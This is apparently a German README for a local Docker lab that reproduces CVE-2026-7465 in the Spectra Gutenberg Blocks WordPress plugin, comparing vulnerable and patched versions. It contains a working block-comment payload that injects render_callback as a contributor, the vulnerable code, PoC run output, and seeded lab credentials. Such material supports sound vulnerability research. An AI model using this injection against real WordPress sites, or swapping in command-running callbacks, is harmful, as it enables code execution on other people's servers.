
Lokales Docker-Labor zur Analyse und Reproduktion von CVE-2026-7465 im Spectra Gutenberg Blocks WordPress-Plugin. Vergleicht anfällige und gepatchte Versionen mit einem möglichst harmlosen PoC, der eine render_callback-Injektion demonstriert.
Lokales Docker-Labor zur Analyse und Reproduktion von CVE-2026-7465 im WordPress-Plugin Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).
Dieses Labor vergleicht:
vuln: Spectra 2.19.25patched: Spectra 2.19.26Der Nachweis ist absichtlich minimal schädlich. Er führt keine Shell-Befehle aus, lädt keine Dateien hoch, erstellt keine Benutzer und ändert den Container nicht direkt. Der PoC erstellt einen temporären WordPress-Entwurfsbeitrag, überprüft das gerenderte Blockverhalten und löscht den Entwurf dann.
CVE-2026-7465 ist eine Schwachstelle in Spectra Gutenberg Blocks, bei der benutzergesteuerte Gutenberg-Blockattribute in WordPress-Blockregistrierungsargumente übergeben werden konnten.
In der verwundbaren Version registriert Spectra dynamisch geparste uagb/*-Blöcke unter Verwendung von Blockattributen aus dem Beitragsinhalt:
$registry->register( $block['blockName'], $block['attrs'] );
Da ein Contributor Beitragsinhalte mit Gutenberg-Blockkommentaren erstellen kann, kann ein authentifizierter Contributor-Level-Benutzer Registrierungsargumente wie render_callback beeinflussen.
Version 2.19.26 behebt das Problem, indem der Block mit einem leeren Argumentarray registriert wird:
$registry->register( $block['blockName'], array() );
Dies verhindert, dass beitragsgesteuerte Blockattribute zu PHP-Blockregistrierungsoptionen werden.
Produkt:
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
In diesem Labor verwendete Versionen:
vulnerable: 2.19.25
patched: 2.19.26
Das WordPress.org-Änderungsprotokoll für 2.19.26 gibt an, dass das Update einen Sicherheitsfehler behoben hat und dankt Wordfence für die verantwortungsvolle Meldung.
Die verwundbare Logik befindet sich in:
classes/class-uagb-init-blocks.php
Der verwundbare Code prüft, ob ein geparster Blockname den Namespace uagb/ enthält. Wenn der Block noch nicht registriert ist, registriert er den Block dynamisch.
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
Das Problem ist das zweite Argument:
$block['attrs']
In Gutenberg können Blockattribute im Beitragsinhalt gespeichert werden, zum Beispiel:
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
Ein Contributor kann Entwurfsbeitragsinhalte erstellen. Daher kann der Angreifer $block['attrs'] beeinflussen.
Wenn diese Attribute an WP_Block_Type_Registry::register() übergeben werden, werden sie zu Blockregistrierungsargumenten. Ein sensibles Registrierungsargument ist:
render_callback
Dies erzeugt ein Callback-Kontroll-Primitiv.
In 2.19.26 registriert Spectra weiterhin den geparsten Blocknamen uagb/*, übergibt aber keine beitragsgesteuerten Attribute mehr als Registrierungsargumente:
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
Die wichtige Änderung ist:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
Dies entfernt angreifergesteuerte Attribute aus dem Blockregistrierungspfad.
maybe_serialize verwendetDer PoC verwendet keine gefährlichen PHP-Callbacks wie system, exec, shell_exec oder passthru.
Stattdessen verwendet er:
maybe_serialize
Der Nachweisblockinhalt ist:
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
Erwartetes Verhalten:
vulnerable:
render_callback aus Blockattributen wird akzeptiert
Marker erscheint im gerenderten Inhalt
patched:
render_callback aus Blockattributen wird ignoriert
Marker erscheint nicht im gerenderten Inhalt
Dies beweist das verwundbare Verhalten, ohne Befehle auszuführen oder Dateien zu schreiben.
Dienste:
db_vuln MariaDB für verwundbares WordPress
db_patched MariaDB für gepatchtes WordPress
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln einmalige WordPress-Einrichtung für verwundbare Site
seed_patched einmalige WordPress-Einrichtung für gepatchte Site
Lokale Ports:
http://127.0.0.1:8181 -> verwundbares WordPress
http://127.0.0.1:8182 -> gepatchtes WordPress
Vorinitialisierter WordPress-Benutzer:
username: contributor
password: contributorpass123!
role: contributor
Der PoC ist rein HTTP-basiert. Er interagiert mit WordPress über Login- und REST-API-Anfragen.
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Starten Sie mit einer sauberen Umgebung:
docker compose down -v --remove-orphans
docker compose up -d --build
Container überprüfen:
docker compose ps
Seed-Logs überprüfen:
docker compose logs seed_vuln seed_patched
Erwartetes Seed-Ergebnis:
[+] seed vuln: done
[+] seed patched: done
Verwundbares Ziel testen:
python3 poc/poc.py -t http://127.0.0.1:8181
Erwartetes Verwundbarkeitsurteil:
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
Gepatchtes Ziel testen:
python3 poc/poc.py -t http://127.0.0.1:8182
Erwartetes Patch-Urteil:
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
Der wichtige Vergleich ist:
raw_contains_marker
rendered_contains_marker
Beide Ziele (verwundbar und gepatcht) sollten Folgendes anzeigen:
raw_contains_marker: True
Dies bestätigt, dass derselbe Blockinhalt erfolgreich in einem temporären Entwurfsbeitrag gespeichert wurde.
Der Unterschied liegt in der gerenderten Ausgabe:
vulnerable:
rendered_contains_marker: True
patched:
rendered_contains_marker: False
Dies zeigt, dass die verwundbare Version den beitragsgesteuerten render_callback akzeptierte, während die gepatchte Version dies nicht tat.
Container, Netzwerke und Volumes stoppen und entfernen:
docker compose down -v --remove-orphans
Python-Cache entfernen, falls vorhanden:
rm -rf poc/__pycache__
Dieses Repository dient ausschließlich der lokalen Sicherheitsforschung und Portfolio-Demonstration.
Der PoC:
Führen Sie dies nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.
WordPress.org Plugin-Seite: Spectra Gutenberg Blocks - Website Builder für den Block-Editor
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
WordPress.org-Änderungsprotokoll: Sicherheitsupdate 2.19.26 - Montag, 4. Mai 2026, das Wordfence zugeschrieben wird
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
WordPress Plugin SVN / Trac
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/